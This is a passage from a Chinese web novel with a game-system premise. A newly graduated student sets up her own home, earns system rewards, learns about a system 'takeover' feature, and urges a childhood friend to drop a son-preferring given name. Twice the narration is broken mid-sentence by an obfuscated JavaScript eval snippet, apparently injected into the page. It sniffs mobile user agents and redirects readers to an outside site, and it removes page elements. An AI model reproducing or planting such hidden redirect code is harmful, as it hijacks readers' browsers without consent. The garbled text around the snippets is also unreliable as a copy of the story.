现在，她看到了光明，心里充满斗志。 “正如你所说，我的一言一行都在塑造我想要的未来。”崔皓月找回自信心，“所以，我坚持做自己，不屈服于我厌恶的一切，我便在身体力行地改变世界！” 世界是不平等的，女生赞同这句话。 她不懂崔皓月想要怎样的平等，可是崔皓月说“我们”，女生受到触动，给出祝福：“希望你有朝一日如愿以偿！” 校车回到学校，教学楼里仍然有人在欢呼。 地上散落着书本、试卷，撕碎的纸片就像雪花从高空纷纷扬扬落下。 每一个结束高考的学生都要思考，课本和试卷该怎么处理？是带回家保存？还是直接扔掉？卖掉？ 若是带回家，书和试卷都沉甸甸的，放在家里占地方，以后难道还会翻开来看？若是扔掉卖掉，固然免除了搬运的负担，可书本和试卷承载着三年青春，扔掉卖掉还是有点舍不得的。 住校生还要处理牙膏、牙刷、水桶等日用品，哪些扔掉，哪些带回家，需要仔细斟酌。 崔皓月不着急，先去食堂吃晚饭，然后回宿舍洗澡换衣服。 她的月经持续五天，今天是第四天，经血量不多，洗了澡换了卫生巾，浑身清爽。 舍友们都在忙碌，有些人已经收拾好全部行李离开，只留下空荡荡的床位。 晏北回和陆晨曦都没走，一个拿着手机看小说，一个带着几罐啤酒回来，说：“要不要尝尝酒精的滋味？” “哇！你怎么也买了啤酒？”在高考前买了几罐啤酒还没喝的舍友又惊又喜，“晨曦，你太贴心了！大学不能和你一起上，我可怎么办！” “没事，你有我的联系方式，我们随时能在网上聊天。”陆晨曦拿出啤酒，两位好朋友一人分了一罐，别的舍友也有。 舍友拿出啤酒，大方地分出去，问：“什么时候喝？” 陆晨曦看了一眼崔皓月：“你待会儿要去教室，等你回来，我们再喝。” 崔皓月穿好鞋子：“我会尽快回来。” 教学楼里空荡荡的，教室里只有寥寥几人。 她扔掉试卷和练习册，把书本、文具装进纸箱子，抱着纸箱进厕所，将纸箱放到【背包】，两手空空地回宿舍。 日用品都拿回家，蚊帐、席子、被子、枕头她准备带去大学宿舍接着用。至于那张从小学四年级用到现在的旧被子，它完成使命，该淘汰了。 “来，喝酒！”晏北回喊她。 “来了。”崔皓月洗干净双手，打开啤酒罐，有些担心，“会不会喝醉？” “啤酒的酒精浓度很低，要是醉了，睡一觉就好。”陆晨曦很有经验的样子，“我小时候喝红酒醉过一次，睡醒后什么事也没有。” 啤酒味道奇怪，崔皓月不太喜欢这味道，可她还是喝完一罐啤酒，感觉有点头晕。 舍友哈哈笑：“皓月，你的脸好红，像个苹果！” 崔皓月歪着头：“有吗？” 陆晨曦认真点头：“有，你的脸红彤彤的。” 晏北回好奇：“你有没有醉？回答我，一加一等于几？” 崔皓月：“……” 崔皓月：“你在藐视我的智商吗？一加一当然等于二！” 大家都笑了。 今天晚上，崔皓月睡得很早。 可能是酒精的作用，她一觉睡到大清早，被起床铃声叫醒，照旧晨跑。 陆晨曦陪她跑，晏北回也少见地参与了晨跑。 随后三个人一起去食堂吃早餐，回教室上高中的最后一堂课。 课上，陈若龙公开了查询高考成绩的时间，把查询成绩的电话、网址写在黑板上。 接着她说起大学和专业，发下整理好的资料：“上什么大学，选什么专业，你们看着决定，不明白的可以问我。” 最后是各种费用结余，多退少补。 下课后大家解散。 三个好朋友结伴回到宿舍，不慌不忙地收拾行李。 崔皓月再次借助厕所的掩护，把塞得满满的桶放进【背包】里，余下的物品除了被子，全部塞进行李箱。 “你东西还挺少的。”晏北回大包小包，“帮我和晨曦搬一下可以吧？” “当然行。”崔皓月的【力量】高达10点，跑了三趟，便把自己和两位好朋友的东西搬到宿舍楼下。 两位好朋友当然不会坐着看她干活，也跑了三四趟，宿舍里再也没有她们的东西了。 晏北回的妈妈来学校接她回家。 陆妈妈把车开到宿舍楼下，带走陆晨曦、崔皓月和她们的行李。 崔皓月的房子在小区里，陆妈妈开车进小区，停在楼下，帮忙取下行李。 “请我去你家做客吗？”陆晨曦笑着问她。 “下次再请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578486|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”崔皓月挥手，“陆阿姨，开车小心！晨曦，明天见！” 目送车子开走，她拿着行李进电梯，不一会儿就上了五楼。 电梯门打开，左侧住着她的邻居，右侧是她家，只属于她一个人的家。 崔皓月掏出钥匙开门，把行李搬进去，关门换拖鞋，立刻跳到柔软的沙发上，发出舒服的叹息。 家！ 她有家了！ 这是她的房子，她的家！没有人能指着这个家的门口让她滚！她能在家里做任何她想做的事，无论是睡懒觉，还是看电视！没有人能要求她做家务，对她指手画脚！ 崔皓月拿起遥控器，稍微研究了一下按键，打开电视，津津有味地观看纪录片。 奶奶家的电视机，只能收到两个电视台，什么时候看电视、看哪个电视台，她要听从奶奶的安排，她没有看电视的自由。 在爸妈家，电视机是弟弟的，与她无关。 想到自己是有房子的人，电视爱看什么看什么，想看多久看多久，崔皓月嘿嘿笑，在沙发上一阵扭动，差点摔地上。 看完纪录片，她意犹未尽地换台，没找到感兴趣的节目，只得悻悻作罢。 开着播广告的电视机，崔皓月进书房，把【背包】里的一箱书拿出来，放在空荡荡的书架上。教科书在一起，资料书在一起，别的书亦有安排。 书房里有电脑，她开电脑，登录q/q，看了一会班级群的聊天，设置群聊消息不提醒。她想听点歌，下载了音乐软件，播放喜欢的歌，让音乐在家里飘荡。 【背包】还有一桶东西，崔皓月一一收拾好，把被子拆了，被套枕套扔进洗衣机里，被芯枕芯放在阳台晒太阳。 衣服该洗的放洗衣机，不用洗的放衣柜。 和陆晨曦一起骑自行车的照片必须放在床头柜，那是一辈子忘不了的人生纪念！ 和两位好朋友的合照也要放在床头柜，她还有高考前拍的班级毕业照、获得100米短跑冠军的领奖照片、在晚会节目上表演武道的舞台照片，都得买相框装饰。 如此忙忙碌碌，当洗衣机完成工作，崔皓月才发现，她没放洗衣粉！ 重洗？ 算了吧，衣服不脏，将就一下。 崔皓月把甩干的衣服被套等放到烘干机里，溜达着进了厨房。 双开门冰箱，里面没有食材，只有矿泉水和汽水，但冷冻层堆着冰淇淋、雪糕、冰棍，令人惊喜。 锅碗瓢盆等厨具也是新的，洗洁精、抹布等物一应俱全，甚至有一台洗碗机。 崔皓月拿了一盒冰淇淋到客厅，一边吃一边打开系统商店浏览商品。 【商店】如同大型网络购物平台。 现实世界能买到的一切东西里面都有，包括但不限于食材、书籍、日用品、房屋、飞机、游艇、家政服务、杀手、热武器、太空旅行船票，能用金钱购买，也能用积分购买。 现实世界买不到的东西，比如营养补充剂、【武道家】技能、【恶意预测眼镜】道具、空间戒指、灵泉、宇宙飞船制造蓝图，【商店】也有出售，但只能用积分购买。 【商店】不接受充值，增加【金钱】的方式只有两种，要么完成随机触发的事件获取奖励，要么与【商店】进行交易。 崔皓月可以出售自己的学习技巧给【商店】，或者出售实物，像她坐着的椅子，能卖出1000元的好价钱。 不过，她还没落魄到卖家具。 学习技巧倒是可以出售，【商店】给了她500积分，复制了她的学习技巧。 如今，崔皓月有600积分，【技能】里多了一个无法使用积分提升的【学习LV1】，挺神奇的。 该买点什么呢？ 【金钱】来之不易，积分更是宝贵，用在现实买不到的商品上更划算。此外，技能和道具太过神奇，她无法理解，无法复制，不宜购买。 经过考虑，崔皓月决定用积分购买自己能掌握的知识，在现实中获取财富和地位，为理想中的美好世界奋斗。 【叮！你触发了人生事件，你要赚一百万元，目前进度0/1000000】 【完成该事件可领取五百万元创业鼓励资金和一万积分】 什么！赚一百万奖励五百万！ 把系统提示看了三遍，崔皓月的心不由得加速跳动，连含在嘴里的冰淇淋都不香了，只想立刻赚钱。 45.生活 钱不是想赚就能赚的，商店里的知识很多，哪个适合她？哪个能在现实中快速转化为金钱？这些都需要思考。 崔皓月不了解商店出售的知识，也不了解现实生活。 吃了1/4盒冰淇淋，她把冰淇淋放回冰箱里，换上鞋子出门买菜。 来到菜市场，她一脸茫然。 肉如何选？猪身上哪个部位的肉好吃？肉类应该怎么烹饪？中午的肉还新鲜吗？她是个学生，基本没来过菜市场，小贩会不会欺负她，故意缺斤少两？ 新奇地逛了一圈，崔皓月买了烧鸭。 老板说，浇上酱汁后放进微波炉里热一下就能吃。 青菜也要买点，她选了西蓝花，又选了番茄鸡蛋准备做个番茄蛋花汤。随后她拿着东西进了超市，花18元买了一盒1L鲜奶，花50元买了一袋大米，花21元买了苹果，油盐等调味料也买了一些。 六月的阳光有点毒辣，崔皓月热得出了汗。 她把东西放在厨房，淘米煮饭，在网上搜索西蓝花、番茄蛋花汤的做法，为自己做了一荤一素一汤的午餐，摆在桌子上，有种幸福的感觉。 自己的家，自己做的饭，菜、汤都是她想吃的。 该拍个照吗？ 在三人聊天群里，陆晨曦和晏北回都放了午餐的照片，陆晨曦去酒楼吃大餐，晏北回吃的是家常菜。 崔皓月认为自己要合群。 她拿出手机拍照片，发到群里，配上文字：“我亲手做的，希望好吃！” “你一个人吃得了这么多？[笑]还挺丰盛的。”晏北回秒回。 别说，习惯了和她们一起吃食堂的饭，崔皓月一个人吃饭真有点不适应。 她一手端着碗，一手拿着筷子，在手机屏幕上戳字：“我感觉我能吃完，待会儿光盘了我拍照给你看。” 还在长身体，崔皓月胃口好，吃得多。 烧鸭好吃，稍微有点油腻，但是无伤大雅。 西蓝花切了之后洗干净，放烧开的水里烫熟，捞起来后浇上油、盐、酱油拌匀，味道还是不错的。 番茄蛋花汤一般般，番茄不太好吃，汤染了番茄的酸味，不过崔皓月不挑剔。 光盘后她拍照，晏北回依然秒回：“这就是你从149cm长到163cm的秘诀？我竟然没有发现你的食量这么大，亏我每天跟你一起吃饭。” 崔皓月发言：“我每天晨跑，按时作息，个子才会高。” 陆晨曦跟着发言：“我也长高了一点，没皓月那么逆天，也就长高了两三厘米吧。” 晏北回：“我忽然担心我会变成我们三个之中最矮的那个了。” 陆晨曦：“摸摸头，长高高~皓月一个人住，还习惯吗？要不搬来跟我住，三餐有人做，卫生有人搞，衣服换了扔在脏衣篮里，有人拿去清洗烘干，多舒服！” 晏北回：“柠檬树下柠檬果，酸到我了！你怎能厚此薄彼，不问我想不想搬去和你住？” 陆晨曦：“你有爸妈照顾，皓月得自己照顾自己，这就是我厚此薄彼的原因。” 晏北回：“[大哭]你误会我了，我爸妈根本不照顾我，回到家立刻让我打扫卫生，还想安排我打暑假工，我是不想在这家待下去了，想跑路嘤嘤嘤！” 陆晨曦发语音：“哼！腿长你身上，手长你身上，谁能逼你干家务？谁能栓着你不许你跑路？” 晏北回也发语音：“唉，你不懂，我妈很忙，很辛苦，看我闲着才让我做点活，我回到家总不能啥事都不干吧？要是我家有钱，请得起保姆阿姨就好了，谁都不用干家务活。” 收拾好餐具，崔皓月打开洗碗机的使用指南，一边看一边留意群里的消息。 听着晏北回的话，她皱起眉，隐约觉得哪里不对。 就在这时，陆晨曦说：“这就是你和你妈不愿意做家务的原因。保姆阿姨做家务有钱赚，你和你妈做家务却是无偿劳动，付出了汗水，没有收获。” “也不算没有收获，家里干净了，自己看着也舒心，是吧？”晏北回说，“换个角度思考事情，自己做家务，省了请保姆阿姨干活的钱。” “但是，”陆晨曦提出问题，“你爸和你弟也住在你家里，他俩看到家里脏了为什么不干点家务活？自己做家务确实比请保姆阿姨省钱，那么，省下的钱在哪里？你干家务，你享受到为家庭省钱的好处了吗？” 晏北回老半天没回消息，崔皓月能想象，此时她肯定在苦思冥想如何辩驳陆晨曦。 使用指南看完了，崔皓月放下手机，把盘子里的酱汁稍微冲洗了下，一个个地将餐具放进洗碗机里，添加洗碗粉，启动洗碗机。 聊天群里，晏北回说：“我爸和我弟是男人啊，男人不干家务活，除非过年大扫除，我和我妈两个人忙不完，他们才会一起干点活。” 陆晨曦冷笑：“男人尊贵，是老爷少爷，你是伺候他们起居作息的丫鬟。[乐]古代丫鬟伺候人有月钱，你没有。” 晏北回不高兴：“话别说得太刻薄了，我是家里的一员，是要为家庭付出的。” 陆晨曦说：“那你付出，别抱怨，最好仔细想想，都是打扫卫生，在宿舍在教室做清洁，你为什么不会抱怨。” 因为舍友同学轮流打扫卫生，家里的卫生谁有空谁做。崔皓月在心里回答，她跟奶奶住也不喜欢打扫卫生。 环视着厨房，她想，她会觉得在这个家做家务是一种折磨吗？ 大概不会。 家是她一个人的，没有人能要求她做家务。况且，她做家务是改善自己的生活环境，除了她，没有第二个人享受她的付出。 烘干机里的衣服可以取出来了，崔皓月闻了闻，没气味，这是不放洗衣粉的下场。 晒太阳的被子和枕头都有阳光的味道，她把枕套被□□好，跟竹席、蚊帐一起打包妥当，放进【背包】的空格子里。 桶、牙膏牙刷毛巾等用品，是带去大学，还是在大学买新的用？ 崔皓月倾向于买新的，然而她没有收入来源，手上的钱花完了就没有了，她不能一直指望陆妈妈给予。 所以，这个漫长的暑假该怎么赚钱？ 打暑假工？做家教？还是先花钱提升自己？ 今天崔皓月还没有练武。 她进了空房间，认认真真地练武。 三十六个练武姿势，她已经能正确并流畅地做一遍。 也不知道练武姿势有何玄机，做完后她像是跑了三千米，累得喘气，体力消耗极大。歇了一会儿，她去洗澡，感觉未来只有一个清晰的方向，没有具体的路。 现在她依然不知道选什么专业。 她想研究每天吃的初级营养补充剂，但那小小的一支营养补充剂是高科技结晶，就算她有配方也无法复制出来。 她想研究武道，这更艰难，毕竟她练了那么久，也只是堪堪入门的程度。 没有钱，没有研究设备，没有相关知识，她能做的太少了。 手机震了震，有消息。 崔皓月用干毛巾擦去手上的水珠，拿起手机，陆晨曦@她和晏北回：“晚上去游泳不？你俩旱鸭子，趁着暑假学游泳吧，这是实用的技能。” 晏北回如同住在聊天群一样，回消息很快：“大小姐，学游泳要花钱的，我很穷！” 陆晨曦说：“你有爸妈，让他们出钱。” 晏北回无奈：“我家很穷，我爸妈未必愿意出钱。” 陆晨曦：“不问一下你怎么知道他们不肯出钱？” 晏北回：“学游泳要多少钱？你会，我跟你学可以吗？[抱大腿]” 陆晨曦：“游泳池门票40元一位，你俩肯学，我也不是不能教，我觉得我是教学天才，十分钟就能教会皓月骑自行车！” 晏北回：“好贵啊，能去水库游泳吗？水库风景好，无门票，学不成游泳还能钓鱼。” 陆晨曦：“你胆子可真大，跑去水库游泳溺亡的人多了去，我都不敢去水库游。老实地出钱去游泳池游吧，有救生员看着，你溺水了能马上救你。” 花洒的水声哗啦啦，热气蒸腾。 崔皓月洗完澡，穿上衣服，擦着头发看手机，两个好朋友已经聊到泳衣等游泳设备，兴致勃勃地打算去游泳。 陆晨曦又@了她一次：“在忙什么？连回复消息的时间都没有？” 【叮！你触发了生活事件】 【陆晨曦邀请你学游泳，你决定——】 【选项一：欣然接受，获得500元零花钱和3000元游泳资助】 【选项二：冷漠拒绝，获得50元零花钱】 【选项三：傲然表示，区区游泳，你学一下就会！获得1000元零花钱、3000元游泳资助、游泳装备一套（包括泳衣、泳帽、护目镜、耳塞）】 还是熟悉的选项三，又狂又傲又有钱，一如既往地要求她做不符合人设的事情。 500元和1000元差别还是很大的，崔皓月犹豫了几秒，选择选项三。 她在群里发言：“区区游泳，简单得很，我一学就会！” 晏北回：“哇，这还是我熟悉的皓月？你被晨曦夺舍了吗？” 崔皓月正想解释，系统冷不丁地跳出一句话：【请使用者完成决定，半途而废无法获得任何奖励】 啊？她发言了，这不算完成选项三？ 崔皓月重看选项三，难道她的发言不够傲然？ 【检测到使用者解锁商店功能】 【是否消耗1积分使用系统托管功能完成选项？】 【是/否】 什么是系统托管功能？崔皓月愿意尝试一下新事物，选择【是】。 系统扣除1积分，立刻控制了她的身体，在聊天群输入语音，态度极其嚣张：“我就是崔皓月！游泳那么简单，不会有人学不会吧？学不会的都是蠢材！” 被托管的崔皓月惊呆了，这！这就是傲然表示？太傲了，这是欠揍表示吧！ 完成托管的系统把身体还给崔皓月。 【叮！你完成选项三，1000元零花钱已发放至账号，3000元游泳资助已发放，游泳设备一套已发放至背包】 这是系统的新功能，她可以通过【背包】领取实物奖励，也能签收快递。 不过，崔皓月更惊讶系统的托管功能。 她擦着头发，回味被托管的“自己”狂傲的发言。 怎么说呢？ 虽然有点羞耻，但挺爽的。 聊天群里的两个好朋友哈哈笑，陆晨曦说：“我没有那么狂，我还是懂得谦虚的，北回不要误会我。” 晏北回的语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592908|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音全是笑声：“挺逗的，皓月，你真的没有被人夺舍吗？我真的担心你。” 奖励拿到了，崔皓月不必维持傲然姿态，说：“我还是我，没被人夺舍。不过，今晚我应该去不了游泳池，我月经还没结束，今天是最后一天。” 陆晨曦：“你可以看我俩游泳，看着看着没准就学会了。嘻嘻，游泳那么简单，看看别人游泳就学会了，不会有人笨到学不会吧？不会吧？” 晏北回：“嘻嘻，那么简单，不会有人学不会吧？” 崔皓月默然，想问自己为什么非要贪图500元选择选项三。 可选择已经做了，奖励也拿了，她说：“我得试试才知道能不能学会，学不会你们可以嘲笑我，我都接受。” 陆晨曦：“我熟悉的皓月回来了。” 晏北回：“对味了，我相信你没被夺舍。朋友们，都来帮帮我，我该怎么说服我的爸妈同意我学游泳？门票40元很贵，我爸妈很可能不同意出钱，他们对我有点吝啬……” 对于她的烦恼，陆晨曦给不了建议：“我妈一般不会拒绝我的要求，不管我要什么东西，她能给的都会给我。” “你妈有钱，我跟你不一样。”晏北回叹息，“贫贱家庭百事哀，有钱家庭快乐多。” 崔皓月能切身理解晏北回的无奈，在绑定系统之前，她不也依靠奶奶给钱？但是她同样给不了晏北回建议，每次问奶奶要钱，她都很难开口。 奈何她必须开口，不然生活无法继续。 她不明白奶奶的心理，给钱为什么不能主动给，不想给钱为什么不跟她说清楚，非要她求着给钱，给她钱的时候又像是在打发要饭的。 如果奶奶有钱，会不会主动给她钱？崔皓月觉得不会。 小时候她想要一毛钱买零食吃，奶奶骂她嘴馋贪吃爱花钱。 晏北回的爸妈有钱了就会对晏北回很好吗？ 崔皓月并不能确定，只能希望他们会。 “游泳是受用一生的技能，你这样跟你妈说，万一你妈以后不小心落水，你立刻跳下去救她！你妈应该会感动！”陆晨曦出主意，“你爸妈都是有工作的人，不至于拿不出40元门票钱。” 晏北回没有立刻回复，可能在实践陆晨曦出的主意。 陆晨曦在群里说：“我觉得北回家不穷，她妈一个月至少能赚两三千元吧？她爸一个月大约有三四千。一家四口吃饭消费，月支出算它四千左右，一年能存两万四。实际上，她爸妈的工资应该高于我的估算，毕竟她妈给她和她弟买的羽绒服，都是四五百块钱的。这样的家庭，不至于出不起40元门票，花一千来块学游泳也不算很大的支出。” 崔皓月提醒她：“姐姐学游泳，弟弟也得学，支出是双份的。” 陆晨曦：“要是她弟弟提出学游泳，你猜她妈会不会拒绝？[鬼脸]北回跟我学游泳不花钱，等到她弟弟学游泳，她妈要是花钱请教练可就好笑了。” 晏北回：“你不懂我妈，我学会游泳后，我妈百分百要求我教我弟弟学游泳。不信咱就赌20元钱，皓月也可以参与进来。” 赌博是不好的行为，但小赌怡情，崔皓月说：“我不赌20元，我赌1元。” 晏北回：“……” 晏北回：“赌注过于寒酸。” 崔皓月：“我真的穷。” 这不是谦虚，晏北回体贴地转移话题：“现在我要跟晨曦出门买泳衣，皓月来吗？” 崔皓月拒绝了：“我刚在网上下单泳衣等装备。” 陆晨曦问：“有什么要我们买的吗？我有点想去你家做客，要不，我和北回待会儿买菜去你家吃个晚饭？” 晏北回马上说：“我没意见！我妈同意我去游泳馆了，但是我要尽快学会游泳。” 三人商量了一会儿晚饭吃什么，崔皓月放下手机，打开【商店】研究。 筛选出能购买的商品，崔皓月找到系统自动托管功能，它的解释是“让使用者体验一下自己想做却难以做到的选项”。 想到托管时“傲然”的自己，她忍不住笑，打开手机听“自己”的傲然发言。 很羞耻，但有一种奇怪的爽感。 不过，不选托管，她做不到傲然表示吗？ 学着系统的傲然语气，崔皓月说道：“区区游泳，简单得很，我一学就会！” 说这种话实在太让人羞耻，她的语气没有系统那么自然，像在念台词。她不是狂傲的人，演也不像，也就靠着系统托管模式体验一下何谓傲然。 如果是陆晨曦，崔皓月心想，她一定能本色出演傲然。 陆晨曦会怎么演呢？她回忆着陆晨曦的神态、动作，微微昂起头，挺直了腰杆，做出睥睨众生的傲慢姿态。 陆晨曦会用怎样的语气说话呢？应该是漫不经心且非常自信的，陆晨曦会发自内心地认为自己说到做到，她揣摩着，说出台词：“区区游泳，那么简单，一学就会了。” 这次确实有一点傲然了，崔皓月这样想着，忍不住笑了出来，自言自语：“好奇怪，可是我这样说话，莫名地有点爽。” 假使她家庭幸福，深受父母疼爱，要什么有什么，从未受过委屈，她会不会成为一个像陆晨曦那样自信骄傲的人？ 人生只有一次，没有假使，她永远都不能知道这个问题的答案。 46.慕娣，招娣 想到不爱自己的爸妈，想到穿着四五百块的球鞋的弟弟，崔皓月不由得心生怨恨。 既然不爱她，为什么要将她生下来？ 她恨他们，恨这个当父母不需要考证的世界。 孩子应该在爱意中孕育，而不是被人随随便便地生下，随随便便地养大。 崔皓月又想到慕娣，十七岁嫁人，十八岁生孩子，慕娣的爸妈难道不心疼她？ 人的大脑要到25岁才能发育成熟，17岁嫁人实在太早了，国家都不允许这么早结婚！ 18岁生孩子更是离谱！ 她和慕娣同龄，无论是老师陈若龙，还是陆妈妈，都会把她、陆晨曦、晏北回称作孩子。慕娣也是孩子，却生了孩子，做了母亲。 还有慕娣这个名，比婷婷难听一百倍，意图更赤/裸，更恶毒。 用着这样丑陋不堪的名，慕娣会改名吗？会意识到这个名有多离谱吗？ 她没有慕娣的联系方式，徐凌波跟慕娣是堂姐妹，徐凌波应该有。 但她跟慕娣的关系早已变得生疏，要不要劝慕娣改名？ 劝了之后，慕娣会有怎样的反应？会不会拒绝？ 正在犹豫之际，崔皓月看到了系统提示。 【叮！发现特殊事件！】 【徐慕娣这个名异常恶毒，你决定——】 【选项一：无视】 【选项二：劝说徐慕娣改名，奖励50积分】 【选项三：你有更好的解决方法，视情况奖励积分】 选项三又是让她寻找更好的解决方法，崔皓月有种预感，从此之后，特殊事件的选项三可能不会有别的变化。系统可能推测不出更好的解决方法，不，更大的可能是，系统在鼓励她思考—— 如何才能更好地解决问题？ 那么，更好的解决方法是什么？ 让所有人都认识到婷婷和慕娣这种名字有多恶毒？还是让所有的婷婷、慕娣改名？亦或，惩罚所有给女儿起这种名字的恶毒父母？ 崔皓月忽然想到一个问题。 婷婷的含义不明显，慕娣的意思却是一看分明。 为何慕娣这种恶毒的名能通过政府的审核，顺利登记在户口本、身份证上？父母这么恶毒地对女儿，为什么没人管？ 因为审核新生儿名字、登记新生儿名字的政府工作人员不是女性？ 还是说，政府工作人员是她妈妈李金凤那样厌恶女孩的人？ 在这一瞬间，崔皓月产生了考公务员的想法。 倘若她是审核新生儿姓名的人，她一定不允许恶毒父母给女孩起那么恶毒的名。 但她个人的力量何其渺小，她必须成为能够决策的人，才能让婷婷、慕娣这种名字消失在世界上。 崔皓月深呼吸，以一人之力对抗全世界，太艰难了。 目前，她能做到的太少，她不能想那么远，她应该做现阶段能做到的事。 对，她已经下定决心做自己，想做的就应该实践，不应该犹豫，不应该迟疑！ 她要对得起自己，不能随波逐流。 打开手机，崔皓月询问徐凌波：“你有慕娣的联系方式吧？我想加她的q/q好友，因为我打算劝说她改名。” 徐凌波很快回复了：“好端端的，劝别人改名干嘛？” 崔皓月说：“我没有跟你讲过我为什么改名，婷婷是停止生女儿的意思，我奶奶亲口说的，我妈默认，我讨厌这个名字，所以我改名。” 徐凌波：“不是吧？你妈怎么会给你起这样的名字！” 崔皓月：“慕娣这个名的意思你知道吧？凌波，我希望你和我一起劝慕娣改名。慕娣从前也跟我们一起玩过，我们一起回家，一起去镇上读书，我真的不希望她用慕娣这个名过一辈子。” 身为慕娣的堂姐妹，徐凌波与慕娣相处的时间更多，关系更亲密，听她一说便被说服了：“那我拉个群，不过慕娣不一定答应改名，你也知道，她没念高中，去年嫁人，现在她女儿都快六个月大了。” “她给女儿起了什么名？” “本来叫庄梦蝶，网友给取的，取自‘庄生晓梦迷蝴蝶’这句诗，很有寓意。可是她老公说，庄梦蝶谐音‘撞懵爹’，意思是把她爹撞傻。慕娣就不要这个名了，改成庒晓梦。” 徐凌波吐槽：“晓梦太普通，梦蝶多好听！我跟她说，庄梦蝶叫不得，改成徐梦蝶不就行了？孩子随母姓还奖励1000块呢！结果她老公又说，徐梦蝶用方言念是‘捶懵爹’，把她爹捶成傻子，意思非常恶毒。慕娣便怪我乱出主意，影响了他们夫妻之间的感情，把我气得不想理她。” 发来一大段话，徐凌波仍未气消，说：“我不理解，我跟慕娣是十几年感情的姐妹，怎么她嫁人了就一心向着那个男的，男的讲什么她信什么，男的就那么重要吗？” 她发来一张照片：“这家伙就是慕娣的老公，也没多好看，长得黑，没文化，就个子高点，在县城供了个房子。慕娣跟他谈恋爱，就跟被他下了蛊似的，对他死心塌地。” 崔皓月点开照片看了看，觉得这男的长得一般，回道：“不如挨了我一拳的混混男。” 徐凌波：“何止不如！混混男长得比他帅，人家还参加高考！这男的高中没念完，有次我回家，慕娣让这男的送我到镇上，这男的把摩托车开得跟飙车一样，我坐在他车上，差点没吓死！山路十八弯啊！他都敢飙车，没出车祸算我命好！你碰到这男的，千万别坐他的车，真的会出车祸死人！” 这时，两人收到提示，慕娣加入群聊。 徐凌波马上说：“皓月，我俩关系好，你可不要把我说的话截图给慕娣看！” 崔皓月：“我不是那样的人。” 也不知道徐凌波信不信，崔皓月点开群聊，慕娣的昵称是“夜空中最靓的星”，头像是一只蓝色的蝴蝶。 慕娣@她：“婷婷？凌波说你有事找我，你过年怎么不回家？我好久没见过你了，对了，我在市医院生的孩子，现在住在市里，也有半年不回娘家了。” 崔皓月把自己的群昵称改成崔皓月，说：“我改名了。” 慕娣果然问：“为什么？” 徐凌波打字飞快：“因为婷这个字是停止生女儿的意思，她妈要生儿子，故意给她取的坏名，这件事是她奶奶亲口说的！” 慕娣：“[震惊][可怕]难怪你改名！我生了孩子，我就没想过给她起这种名！我的孩子是我的大宝贝！[照片][照片]看，这是我女儿晓萌，可爱吧？我超爱她！” 崔皓月：“你还叫慕娣吗？你有没有想过你的名字是什么意思？” 慕娣陷入沉默。 徐凌波说：“慕，意思是羡慕、思念，娣是妹妹。你觉得慕娣是思念妹妹的意思吗？婷婷的寓意不好，婷谐音停，慕娣的寓意你想想就知道，你爸妈要生儿子，‘娣’其实是‘弟’。所以，我和皓月拉你进群，目的只有一个，那就是劝你改名！” 崔皓月：“改名并不难，我记得你是三月生日，你已经成年，无需父母同意也能改名。我现在叫崔皓月，我改过姓名，改名不难，只要你想改。” 慕娣还是没有发言。 徐凌波助攻：“皓月惦记你，她没有你的联系方式，特地找我要你的q/q，要劝你改名。我想，我也得劝你改名。你也不希望你女儿读书后，在家长姓名上写‘徐慕娣’这个名，被同学们嘲笑妈妈名字奇怪吧？” 慕娣依然没说话。 忽然，徐凌波给崔皓月私聊一张聊天截图，聊天时间正是现在—— 夜空中最靓的星：“徐婷婷当情/妇，你怎么会跟她玩？” 紧接着徐凌波对崔皓月说：“抱歉，我没有告诉她你家的事，她还不知道资助你的是女老板。我这就跟她说清楚！” 群聊里，慕娣说话了：“我有点想改名，不过我老公和我爸妈不一定同意，我爸妈应该不同意，我老公估计会支持我改名。” 窝在沙发中，崔皓月拿着手机，看向熄灭的电视机屏幕上自己的身影，默默问自己：我是不是不应该劝慕娣改名？她不曾向我取证，便认定我被男人包养，看不起我，觉得凌波不应该跟我来往…… 她想，她从前做人是不是很失败？ 徐凌波也好，徐招娣也罢，都听信了奶奶造的黄谣，没有一个人信任她的品格，信任她的为人。 不，陆晨曦说过，人要少反思，多质疑。 崔皓月停止反思自我，心想：大部分人都这样偏听偏信吗？他们不思考事情是否可信，也不琢磨逻辑是否合理，别人说什么，便是什么。 就像从前的她那样，书上讲什么便信什么，不对照现实。 明明书上说每个人都要学会独立思考，她却没有做到，她连自己喜欢什么都不知。 当然，现在的她不一样。 她冷静地审视手机那头的徐凌波和慕娣，她们知道自己喜欢什么吗？ 慕娣说：“我刚问了我老公，他骂我没事找事，气坏我了。但我说慕娣的意思是我爸妈想生儿子，他一下子理解我了，支持我改名，我就知道他是爱我的！婷婷不是改名又改姓吗？我也要改姓，跟我老公姓！多浪漫啊！我、我老公、我的宝贝，我们一家三口都姓庄！” 徐凌波不赞成：“随夫姓是糟粕，并不浪漫，你难道要当庄徐氏？你老公要是反对你改名，你难道会听从？”

